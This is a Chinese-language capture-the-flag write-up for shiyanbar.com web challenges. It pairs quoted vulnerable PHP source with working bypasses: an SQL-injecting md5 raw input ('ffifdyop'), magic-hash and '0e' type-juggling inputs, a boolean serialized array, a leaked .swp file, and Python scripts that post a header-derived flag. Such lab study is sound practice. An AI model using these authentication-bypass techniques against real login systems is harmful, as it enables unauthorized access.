记录一下实验吧的wp
后台登陆
ctrl+u查看源码
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->
一上来就问管理员密码,并且要求登陆,那么是爆破呢,还是爆破呢?
emmmmm其实这题的考点是md5的
查了一下官方文档,md5函数的第二个参数如果为true,那么就会返回原始16字符二进制格式
而且sql语句显然是可以拼接注入的,关键在于如何注入了
提供一个字符串: ffifdyop md5后,276f722736c95d99e921722cf9ed621c再转成字符串:' ' 'or' 6解析:存在 or 即代码的两边有一边为真既可以绕过,后面的其实为垃圾代码没有任何用的。or 后面有6,非零值即为真。既可以成功绕过。
当然看评论也有说密码就是e58的 参考
认真一点
这道题是盲注的题目,不太好搞
天下武功唯快不破
这个可以通过浏览器抓包,然后发现响应头中有一个FLAG字段显然是base64加密过的,解密之后就会得到提示,让你写脚本post提交
我写的垃圾代码如下:
import urllib
import base64
import requests
res = urllib.urlopen("http://ctf5.shiyanbar.com/web/10/10.php")
head = str(res.headers)
FLAG = head[head.index('FLAG')+6:head.index('FLAG')+48+6]
flagBase64 = base64.decodestring(FLAG)
TrueFlag = flagBase64[flagBase64.index(':')+1:]
data = {'key': TrueFlag}
res = requests.post(url='http://ctf5.shiyanbar.com/web/10/10.php', data=data)
print res.content
师傅写的代码比我好看多了
# coding:utf8
import requests
import base64
url = "http://ctf4.shiyanbar.com/web/10.php" # 目标URL
s = requests.Session() # 获取 Session
response = s.get(url) # 打开链接
head = response.headers # 获取响应头
flag = base64.b64decode(head['flag']).split(':')[1] # 获取相应头中的Flag
print flag # 打印Flag
postData = {'key': flag} # 构造Post请求体
result = s.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print result.text # 打印响应内容
拐弯抹角
这个涉及到我的知识盲区,叫做伪静态页面 百度百科
payload 如下:
Forms
作为网络安全的人才,一定要仔细观察每一处地方
比如这个题目的表单:
<form action="" method="post">
PIN:<br>
<input type="password" name="PIN" value="">
<input type="hidden" name="showsource" value=0>
<button type="submit">Enter</button>
很明显看到,有一个hidden字段,而且是showsource,如果将其修改为1就能得到源码
源码如下:
<?php
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}
?>
emmmm后面就不说了
天网管理系统
查看源码有隐藏字段
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
联想到php代码审计的小trick
md5(QNKCDZO)得到的结果是0e开头的
得到提示,
访问http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
得到:
$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
天真的我以为那三个问号就是真的问号
唉。。
<?php
$a = array('user'=>true, 'pass'=>true);
$b = serialize($a);
$c = unserialize($b);
var_dump($b);
?>
将这个作为password输入a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
忘记密码
这个题目有点难度
不过还是要获取信息
查看源代码发现两处关键信息:
<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" />
告诉了你管理员的邮箱和vim。。告诉我vim干嘛?当然是swp文件了
此处访问http://ctf5.shiyanbar.com/10/upload/.submit.php.swp可以得到swp文件
(这是通过抓包知道发现表单上传的就是这个文件,多试几次,记得在文件名前加*.*)
........这一行是省略的代码........
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
........这一行是省略的代码........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
token是0e00000000即可绕过
payload如下: